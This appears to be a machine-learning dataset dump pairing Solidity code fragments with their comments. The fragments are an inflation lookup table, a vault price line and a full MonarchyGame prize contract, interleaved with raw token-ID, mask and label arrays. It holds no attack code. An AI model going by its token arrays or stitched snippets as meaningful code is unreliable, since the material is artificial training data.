[ 1, 11223, 27167, 5309, 285, 2590, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4614, 654, 39, 3462, 12, 2867, 389, 16543, 16, 2254, 5034, 3844, 13, 3903, 1338, 5541, 288, 203, 3639, 467, 654, 39, 3462, 24899, 16543, 2934, 13866, 12, 3576, 18, 15330, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; contract LiquidityGuard { mapping (uint32 => uint256) InflationLN; function getInflation(uint32 _amount) external view returns (uint256) { if (_amount > 103000) { return InflationLN[103000]; } else if (_amount < 102100) { return InflationLN[102100]; } return InflationLN[_amount]; } // 0.006% liquidityRate step increase; constructor() { InflationLN[102100] = 175623202; InflationLN[102106] = 175128000; InflationLN[102112] = 174635612; InflationLN[102118] = 174146014; InflationLN[102124] = 173659181; InflationLN[102130] = 173175091; InflationLN[102136] = 172693721; InflationLN[102142] = 172215047; InflationLN[102148] = 171739047; InflationLN[102154] = 171265699; InflationLN[102160] = 170794981; InflationLN[102166] = 170326870; InflationLN[102172] = 169861346; InflationLN[102178] = 169398386; InflationLN[102184] = 168937970; InflationLN[102190] = 168480077; InflationLN[102196] = 168024686; InflationLN[102202] = 167571776; InflationLN[102208] = 167121328; InflationLN[102214] = 166673321; InflationLN[102220] = 166227735; InflationLN[102226] = 165784552; InflationLN[102232] = 165343751; InflationLN[102238] = 164905314; InflationLN[102244] = 164469221; InflationLN[102250] = 164035454; InflationLN[102256] = 163603994; InflationLN[102262] = 163174823; InflationLN[102268] = 162747922; InflationLN[102274] = 162323275; InflationLN[102280] = 161900862; InflationLN[102286] = 161480666; InflationLN[102292] = 161062671; InflationLN[102298] = 160646857; InflationLN[102304] = 160233210; InflationLN[102310] = 159821711; InflationLN[102316] = 159412345; InflationLN[102322] = 159005093; InflationLN[102328] = 158599941; InflationLN[102334] = 158196872; InflationLN[102340] = 157795870; InflationLN[102346] = 157396919; InflationLN[102352] = 157000003; InflationLN[102358] = 156605107; InflationLN[102364] = 156212216; InflationLN[102370] = 155821314; InflationLN[102376] = 155432386; InflationLN[102382] = 155045417; InflationLN[102388] = 154660393; InflationLN[102394] = 154277298; InflationLN[102400] = 153896119; InflationLN[102406] = 153516841; InflationLN[102412] = 153139450; InflationLN[102418] = 152763932; InflationLN[102424] = 152390272; InflationLN[102430] = 152018458; InflationLN[102436] = 151648475; InflationLN[102442] = 151280311; InflationLN[102448] = 150913950; InflationLN[102454] = 150549382; InflationLN[102460] = 150186591; InflationLN[102466] = 149825566; InflationLN[102472] = 149466294; InflationLN[102478] = 149108761; InflationLN[102484] = 148752955; InflationLN[102490] = 148398864; InflationLN[102496] = 148046475; InflationLN[102502] = 147695776; InflationLN[102508] = 147346755; InflationLN[102514] = 146999400; InflationLN[102520] = 146653699; InflationLN[102526] = 146309641; InflationLN[102532] = 145967212; InflationLN[102538] = 145626403; InflationLN[102544] = 145287201; InflationLN[102550] = 144949596; InflationLN[102556] = 144613575; InflationLN[102562] = 144279128; InflationLN[102568] = 143946244; InflationLN[102574] = 143614911; InflationLN[102580] = 143285120; InflationLN[102586] = 142956859; InflationLN[102592] = 142630117; InflationLN[102598] = 142304885; InflationLN[102604] = 141981151; InflationLN[102610] = 141658906; InflationLN[102616] = 141338139; InflationLN[102622] = 141018840; InflationLN[102628] = 140700998; InflationLN[102634] = 140384605; InflationLN[102640] = 140069650; InflationLN[102646] = 139756123; InflationLN[102652] = 139444014; InflationLN[102658] = 139133315; InflationLN[102664] = 138824015; InflationLN[102670] = 138516105; InflationLN[102676] = 138209576; InflationLN[102682] = 137904418; InflationLN[102688] = 137600622; InflationLN[102694] = 137298180; InflationLN[102700] = 136997081; InflationLN[102706] = 136697318; InflationLN[102712] = 136398881; InflationLN[102718] = 136101762; InflationLN[102724] = 135805951; InflationLN[102730] = 135511441; InflationLN[102736] = 135218222; InflationLN[102742] = 134926287; InflationLN[102748] = 134635626; InflationLN[102754] = 134346231; InflationLN[102760] = 134058095; InflationLN[102766] = 133771209; InflationLN[102772] = 133485565; InflationLN[102778] = 133201154; InflationLN[102784] = 132917969; InflationLN[102790] = 132636002; InflationLN[102796] = 132355246; InflationLN[102802] = 132075691; InflationLN[102808] = 131797331; InflationLN[102814] = 131520158; InflationLN[102820] = 131244165; InflationLN[102826] = 130969343; InflationLN[102832] = 130695686; InflationLN[102838] = 130423186; InflationLN[102844] = 130151836; InflationLN[102850] = 129881628; InflationLN[102856] = 129612555; InflationLN[102862] = 129344610; InflationLN[102868] = 129077787; InflationLN[102874] = 128812077; InflationLN[102880] = 128547475; InflationLN[102886] = 128283972; InflationLN[102892] = 128021563; InflationLN[102898] = 127760241; InflationLN[102904] = 127499998; InflationLN[102910] = 127240828; InflationLN[102916] = 126982725; InflationLN[102922] = 126725681; InflationLN[102928] = 126469692; InflationLN[102934] = 126214749; InflationLN[102940] = 125960846; InflationLN[102946] = 125707978; InflationLN[102952] = 125456137; InflationLN[102958] = 125205318; InflationLN[102964] = 124955515; InflationLN[102970] = 124706720; InflationLN[102976] = 124458929; InflationLN[102982] = 124212135; InflationLN[102988] = 123966332; InflationLN[102994] = 123721514; InflationLN[103000] = 123477676; } }
0.006% liquidityRate step increase;
constructor() { InflationLN[102100] = 175623202; InflationLN[102106] = 175128000; InflationLN[102112] = 174635612; InflationLN[102118] = 174146014; InflationLN[102124] = 173659181; InflationLN[102130] = 173175091; InflationLN[102136] = 172693721; InflationLN[102142] = 172215047; InflationLN[102148] = 171739047; InflationLN[102154] = 171265699; InflationLN[102160] = 170794981; InflationLN[102166] = 170326870; InflationLN[102172] = 169861346; InflationLN[102178] = 169398386; InflationLN[102184] = 168937970; InflationLN[102190] = 168480077; InflationLN[102196] = 168024686; InflationLN[102202] = 167571776; InflationLN[102208] = 167121328; InflationLN[102214] = 166673321; InflationLN[102220] = 166227735; InflationLN[102226] = 165784552; InflationLN[102232] = 165343751; InflationLN[102238] = 164905314; InflationLN[102244] = 164469221; InflationLN[102250] = 164035454; InflationLN[102256] = 163603994; InflationLN[102262] = 163174823; InflationLN[102268] = 162747922; InflationLN[102274] = 162323275; InflationLN[102280] = 161900862; InflationLN[102286] = 161480666; InflationLN[102292] = 161062671; InflationLN[102298] = 160646857; InflationLN[102304] = 160233210; InflationLN[102310] = 159821711; InflationLN[102316] = 159412345; InflationLN[102322] = 159005093; InflationLN[102328] = 158599941; InflationLN[102334] = 158196872; InflationLN[102340] = 157795870; InflationLN[102346] = 157396919; InflationLN[102352] = 157000003; InflationLN[102358] = 156605107; InflationLN[102364] = 156212216; InflationLN[102370] = 155821314; InflationLN[102376] = 155432386; InflationLN[102382] = 155045417; InflationLN[102388] = 154660393; InflationLN[102394] = 154277298; InflationLN[102400] = 153896119; InflationLN[102406] = 153516841; InflationLN[102412] = 153139450; InflationLN[102418] = 152763932; InflationLN[102424] = 152390272; InflationLN[102430] = 152018458; InflationLN[102436] = 151648475; InflationLN[102442] = 151280311; InflationLN[102448] = 150913950; InflationLN[102454] = 150549382; InflationLN[102460] = 150186591; InflationLN[102466] = 149825566; InflationLN[102472] = 149466294; InflationLN[102478] = 149108761; InflationLN[102484] = 148752955; InflationLN[102490] = 148398864; InflationLN[102496] = 148046475; InflationLN[102502] = 147695776; InflationLN[102508] = 147346755; InflationLN[102514] = 146999400; InflationLN[102520] = 146653699; InflationLN[102526] = 146309641; InflationLN[102532] = 145967212; InflationLN[102538] = 145626403; InflationLN[102544] = 145287201; InflationLN[102550] = 144949596; InflationLN[102556] = 144613575; InflationLN[102562] = 144279128; InflationLN[102568] = 143946244; InflationLN[102574] = 143614911; InflationLN[102580] = 143285120; InflationLN[102586] = 142956859; InflationLN[102592] = 142630117; InflationLN[102598] = 142304885; InflationLN[102604] = 141981151; InflationLN[102610] = 141658906; InflationLN[102616] = 141338139; InflationLN[102622] = 141018840; InflationLN[102628] = 140700998; InflationLN[102634] = 140384605; InflationLN[102640] = 140069650; InflationLN[102646] = 139756123; InflationLN[102652] = 139444014; InflationLN[102658] = 139133315; InflationLN[102664] = 138824015; InflationLN[102670] = 138516105; InflationLN[102676] = 138209576; InflationLN[102682] = 137904418; InflationLN[102688] = 137600622; InflationLN[102694] = 137298180; InflationLN[102700] = 136997081; InflationLN[102706] = 136697318; InflationLN[102712] = 136398881; InflationLN[102718] = 136101762; InflationLN[102724] = 135805951; InflationLN[102730] = 135511441; InflationLN[102736] = 135218222; InflationLN[102742] = 134926287; InflationLN[102748] = 134635626; InflationLN[102754] = 134346231; InflationLN[102760] = 134058095; InflationLN[102766] = 133771209; InflationLN[102772] = 133485565; InflationLN[102778] = 133201154; InflationLN[102784] = 132917969; InflationLN[102790] = 132636002; InflationLN[102796] = 132355246; InflationLN[102802] = 132075691; InflationLN[102808] = 131797331; InflationLN[102814] = 131520158; InflationLN[102820] = 131244165; InflationLN[102826] = 130969343; InflationLN[102832] = 130695686; InflationLN[102838] = 130423186; InflationLN[102844] = 130151836; InflationLN[102850] = 129881628; InflationLN[102856] = 129612555; InflationLN[102862] = 129344610; InflationLN[102868] = 129077787; InflationLN[102874] = 128812077; InflationLN[102880] = 128547475; InflationLN[102886] = 128283972; InflationLN[102892] = 128021563; InflationLN[102898] = 127760241; InflationLN[102904] = 127499998; InflationLN[102910] = 127240828; InflationLN[102916] = 126982725; InflationLN[102922] = 126725681; InflationLN[102928] = 126469692; InflationLN[102934] = 126214749; InflationLN[102940] = 125960846; InflationLN[102946] = 125707978; InflationLN[102952] = 125456137; InflationLN[102958] = 125205318; InflationLN[102964] = 124955515; InflationLN[102970] = 124706720; InflationLN[102976] = 124458929; InflationLN[102982] = 124212135; InflationLN[102988] = 123966332; InflationLN[102994] = 123721514; InflationLN[103000] = 123477676; }
10,401,640
[ 1, 20, 18, 713, 26, 9, 4501, 372, 24237, 4727, 2235, 10929, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 657, 2242, 367, 48, 50, 63, 2163, 5340, 713, 65, 273, 225, 8043, 4313, 22, 1578, 3103, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 22135, 65, 273, 225, 404, 5877, 10392, 3784, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 2163, 5340, 2138, 65, 273, 225, 404, 5608, 4449, 4313, 2138, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 25652, 65, 273, 225, 404, 5608, 27879, 1611, 24, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 24734, 65, 273, 225, 8043, 5718, 6162, 2643, 21, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 24417, 65, 273, 225, 8043, 23, 4033, 5995, 21, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 26959, 65, 273, 225, 8043, 5558, 29, 6418, 5340, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 29126, 65, 273, 225, 8043, 3787, 3600, 3028, 27, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 25005, 65, 273, 225, 8043, 4033, 5520, 3028, 27, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 29003, 65, 273, 225, 8043, 25452, 4313, 2733, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 16874, 65, 273, 225, 404, 7301, 7235, 7616, 11861, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 23553, 65, 273, 225, 404, 7301, 1578, 9470, 7301, 31, 203, 3639, 657, 2242, 367, 48, 50, 63, 20481, 28406, 65, 273, 225, 2872, 29, 5292, 3437, 8749, 31, 203, 3639, 657, 2 ]
./full_match/1/0xb688801cadb4Ddb6980bb777d42972C24f920855/sources/solidity/contracts/core/VaultController.sol
the raw price is simply the oracle price of the token
_rawPrice = _safeu192(_collateral.oracle.currentValue());
9,678,022
[ 1, 5787, 1831, 6205, 353, 8616, 326, 20865, 6205, 434, 326, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 389, 1899, 5147, 273, 389, 4626, 89, 15561, 24899, 12910, 2045, 287, 18, 280, 16066, 18, 2972, 620, 10663, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xea5d9e993e1133d0419a9e3fdde3654a08be7eed //Contract name: MonarchyGame //Balance: 0 Ether //Verification Date: 5/12/2018 //Transacion Count: 42 // CODE STARTS HERE pragma solidity ^0.4.23; /** A PennyAuction-like game to win a prize. UI: https://www.pennyether.com How it works: - An initial prize is held in the Contract - Anyone may overthrow the Monarch by paying a small fee. - They become the Monarch - The "reign" timer is reset to N. - The prize may be increased or decreased - If nobody overthrows the new Monarch in N blocks, the Monarch wins. For fairness, an "overthrow" is refunded if: - The incorrect amount is sent. - The game is already over. - The overthrower is already the Monarch. - Another overthrow occurred in the same block - Note: Here, default gas is used for refund. On failure, fee is kept. Other notes: - .sendFees(): Sends accrued fees to "collector", at any time. - .sendPrize(): If game is ended, sends prize to the Monarch. */ contract MonarchyGame { // We store values as GWei to reduce storage to 64 bits. // int64: 2^63 GWei is ~ 9 billion Ether, so no overflow risk. // // For blocks, we use uint32, which has a max value of 4.3 billion // At a 1 second block time, there's a risk of overflow in 120 years. // // We put these variables together because they are all written to // on each bid. This should save some gas when we write. struct Vars { // [first 256-bit segment] address monarch; // address of monarch uint64 prizeGwei; // (Gwei) the current prize uint32 numOverthrows; // total number of overthrows // [second 256-bit segment] uint32 blockEnded; // the time at which no further overthrows can occur uint32 prevBlock; // block of the most recent overthrow bool isPaid; // whether or not the winner has been paid bytes23 decree; // 23 leftover bytes for decree } // These values are set on construction and don't change. // We store in a struct for gas-efficient reading/writing. struct Settings { // [first 256-bit segment] address collector; // address that fees get sent to uint64 initialPrizeGwei; // (Gwei > 0) amt initially staked // [second 256-bit segment] uint64 feeGwei; // (Gwei > 0) cost to become the Monarch int64 prizeIncrGwei; // amount added/removed to prize on overthrow uint32 reignBlocks; // number of blocks Monarch must reign to win } Vars vars; Settings settings; uint constant version = 1; event SendPrizeError(uint time, string msg); event Started(uint time, uint initialBlocks); event OverthrowOccurred(uint time, address indexed newMonarch, bytes23 decree, address indexed prevMonarch, uint fee); event OverthrowRefundSuccess(uint time, string msg, address indexed recipient, uint amount); event OverthrowRefundFailure(uint time, string msg, address indexed recipient, uint amount); event SendPrizeSuccess(uint time, address indexed redeemer, address indexed recipient, uint amount, uint gasLimit); event SendPrizeFailure(uint time, address indexed redeemer, address indexed recipient, uint amount, uint gasLimit); event FeesSent(uint time, address indexed collector, uint amount); constructor( address _collector, uint _initialPrize, uint _fee, int _prizeIncr, uint _reignBlocks, uint _initialBlocks ) public payable { require(_initialPrize >= 1e9); // min value of 1 GWei require(_initialPrize < 1e6 * 1e18); // max value of a million ether require(_initialPrize % 1e9 == 0); // even amount of GWei require(_fee >= 1e6); // min value of 1 GWei require(_fee < 1e6 * 1e18); // max value of a million ether require(_fee % 1e9 == 0); // even amount of GWei require(_prizeIncr <= int(_fee)); // max value of _bidPrice require(_prizeIncr >= -1*int(_initialPrize)); // min value of -1*initialPrize require(_prizeIncr % 1e9 == 0); // even amount of GWei require(_reignBlocks >= 1); // minimum of 1 block require(_initialBlocks >= 1); // minimum of 1 block require(msg.value == _initialPrize); // must've sent the prize amount // Set instance variables. these never change. // These can be safely cast to int64 because they are each < 1e24 (see above), // 1e24 divided by 1e9 is 1e15. Max int64 val is ~1e19, so plenty of room. // For block numbers, uint32 is good up to ~4e12, a long time from now. settings.collector = _collector; settings.initialPrizeGwei = uint64(_initialPrize / 1e9); settings.feeGwei = uint64(_fee / 1e9); settings.prizeIncrGwei = int64(_prizeIncr / 1e9); settings.reignBlocks = uint32(_reignBlocks); // Initialize the game variables. vars.prizeGwei = settings.initialPrizeGwei; vars.monarch = _collector; vars.prevBlock = uint32(block.number); vars.blockEnded = uint32(block.number + _initialBlocks); emit Started(now, _initialBlocks); } /*************************************************************/ /********** OVERTHROWING *************************************/ /*************************************************************/ // // Upon new bid, adds fees and increments time and prize. // - Refunds if overthrow is too late, user is already monarch, or incorrect value passed. // - Upon an overthrow-in-same-block, refends previous monarch. // // Gas Cost: 34k - 50k // Overhead: 25k // - 23k: tx overhead // - 2k: SLOADs, execution // Failure: 34k // - 25k: overhead // - 7k: send refund // - 2k: event: OverthrowRefundSuccess // Clean: 37k // - 25k: overhead // - 10k: update Vars (monarch, numOverthrows, prize, blockEnded, prevBlock, decree) // - 2k: event: OverthrowOccurred // Refund Success: 46k // - 25k: overhead // - 7k: send // - 10k: update Vars (monarch, decree) // - 2k: event: OverthrowRefundSuccess // - 2k: event: OverthrowOccurred // Refund Failure: 50k // - 25k: overhead // - 11k: send failure // - 10k: update Vars (monarch, numOverthrows, prize, decree) // - 2k: event: OverthrowRefundFailure // - 2k: event: OverthrowOccurred function() public payable { overthrow(0); } function overthrow(bytes23 _decree) public payable { if (isEnded()) return errorAndRefund("Game has already ended."); if (msg.sender == vars.monarch) return errorAndRefund("You are already the Monarch."); if (msg.value != fee()) return errorAndRefund("Value sent must match fee."); // compute new values. hopefully optimizer reads from vars/settings just once. int _newPrizeGwei = int(vars.prizeGwei) + settings.prizeIncrGwei; uint32 _newBlockEnded = uint32(block.number) + settings.reignBlocks; uint32 _newNumOverthrows = vars.numOverthrows + 1; address _prevMonarch = vars.monarch; bool _isClean = (block.number != vars.prevBlock); // Refund if _newPrize would end up being < 0. if (_newPrizeGwei < 0) return errorAndRefund("Overthrowing would result in a negative prize."); // Attempt refund, if necessary. Use minimum gas. bool _wasRefundSuccess; if (!_isClean) { _wasRefundSuccess = _prevMonarch.send(msg.value); } // These blocks can be made nicer, but optimizer will // sometimes do two updates instead of one. Seems it is // best to keep if/else trees flat. if (_isClean) { vars.monarch = msg.sender; vars.numOverthrows = _newNumOverthrows; vars.prizeGwei = uint64(_newPrizeGwei); vars.blockEnded = _newBlockEnded; vars.prevBlock = uint32(block.number); vars.decree = _decree; } if (!_isClean && _wasRefundSuccess){ // when a refund occurs, we just swap winners. // overthrow count and prize do not get reset. vars.monarch = msg.sender; vars.decree = _decree; } if (!_isClean && !_wasRefundSuccess){ vars.monarch = msg.sender; vars.prizeGwei = uint64(_newPrizeGwei); vars.numOverthrows = _newNumOverthrows; vars.decree = _decree; } // Emit the proper events. if (!_isClean){ if (_wasRefundSuccess) emit OverthrowRefundSuccess(now, "Another overthrow occurred on the same block.", _prevMonarch, msg.value); else emit OverthrowRefundFailure(now, ".send() failed.", _prevMonarch, msg.value); } emit OverthrowOccurred(now, msg.sender, _decree, _prevMonarch, msg.value); } // called from the bidding function above. // refunds sender, or throws to revert entire tx. function errorAndRefund(string _msg) private { require(msg.sender.call.value(msg.value)()); emit OverthrowRefundSuccess(now, _msg, msg.sender, msg.value); } /*************************************************************/ /********** PUBLIC FUNCTIONS *********************************/ /*************************************************************/ // Sends prize to the current winner using _gasLimit (0 is unlimited) function sendPrize(uint _gasLimit) public returns (bool _success, uint _prizeSent) { // make sure game has ended, and is not paid if (!isEnded()) { emit SendPrizeError(now, "The game has not ended."); return (false, 0); } if (vars.isPaid) { emit SendPrizeError(now, "The prize has already been paid."); return (false, 0); } address _winner = vars.monarch; uint _prize = prize(); bool _paySuccessful = false; // attempt to pay winner (use full gas if _gasLimit is 0) vars.isPaid = true; if (_gasLimit == 0) { _paySuccessful = _winner.call.value(_prize)(); } else { _paySuccessful = _winner.call.value(_prize).gas(_gasLimit)(); } // emit proper event. rollback .isPaid on failure. if (_paySuccessful) { emit SendPrizeSuccess({ time: now, redeemer: msg.sender, recipient: _winner, amount: _prize, gasLimit: _gasLimit }); return (true, _prize); } else { vars.isPaid = false; emit SendPrizeFailure({ time: now, redeemer: msg.sender, recipient: _winner, amount: _prize, gasLimit: _gasLimit }); return (false, 0); } } // Sends accrued fees to the collector. Callable by anyone. function sendFees() public returns (uint _feesSent) { _feesSent = fees(); if (_feesSent == 0) return; require(settings.collector.call.value(_feesSent)()); emit FeesSent(now, settings.collector, _feesSent); } /*************************************************************/ /********** PUBLIC VIEWS *************************************/ /*************************************************************/ // Expose all Vars //////////////////////////////////////// function monarch() public view returns (address) { return vars.monarch; } function prize() public view returns (uint) { return uint(vars.prizeGwei) * 1e9; } function numOverthrows() public view returns (uint) { return vars.numOverthrows; } function blockEnded() public view returns (uint) { return vars.blockEnded; } function prevBlock() public view returns (uint) { return vars.prevBlock; } function isPaid() public view returns (bool) { return vars.isPaid; } function decree() public view returns (bytes23) { return vars.decree; } /////////////////////////////////////////////////////////// // Expose all Settings ////////////////////////////////////// function collector() public view returns (address) { return settings.collector; } function initialPrize() public view returns (uint){ return uint(settings.initialPrizeGwei) * 1e9; } function fee() public view returns (uint) { return uint(settings.feeGwei) * 1e9; } function prizeIncr() public view returns (int) { return int(settings.prizeIncrGwei) * 1e9; } function reignBlocks() public view returns (uint) { return settings.reignBlocks; } /////////////////////////////////////////////////////////// // The following are computed ///////////////////////////// function isEnded() public view returns (bool) { return block.number > vars.blockEnded; } function getBlocksRemaining() public view returns (uint) { if (isEnded()) return 0; return (vars.blockEnded - block.number) + 1; } function fees() public view returns (uint) { uint _balance = address(this).balance; return vars.isPaid ? _balance : _balance - prize(); } function totalFees() public view returns (uint) { int _feePerOverthrowGwei = int(settings.feeGwei) - settings.prizeIncrGwei; return uint(_feePerOverthrowGwei * vars.numOverthrows * 1e9); } /////////////////////////////////////////////////////////// }
Set instance variables. these never change. These can be safely cast to int64 because they are each < 1e24 (see above), 1e24 divided by 1e9 is 1e15. Max int64 val is ~1e19, so plenty of room. For block numbers, uint32 is good up to ~4e12, a long time from now. Initialize the game variables.
{ settings.collector = _collector; settings.initialPrizeGwei = uint64(_initialPrize / 1e9); settings.feeGwei = uint64(_fee / 1e9); settings.prizeIncrGwei = int64(_prizeIncr / 1e9); settings.reignBlocks = uint32(_reignBlocks); vars.prizeGwei = settings.initialPrizeGwei; vars.monarch = _collector; vars.prevBlock = uint32(block.number); vars.blockEnded = uint32(block.number + _initialBlocks); emit Started(now, _initialBlocks); }
1,002,160
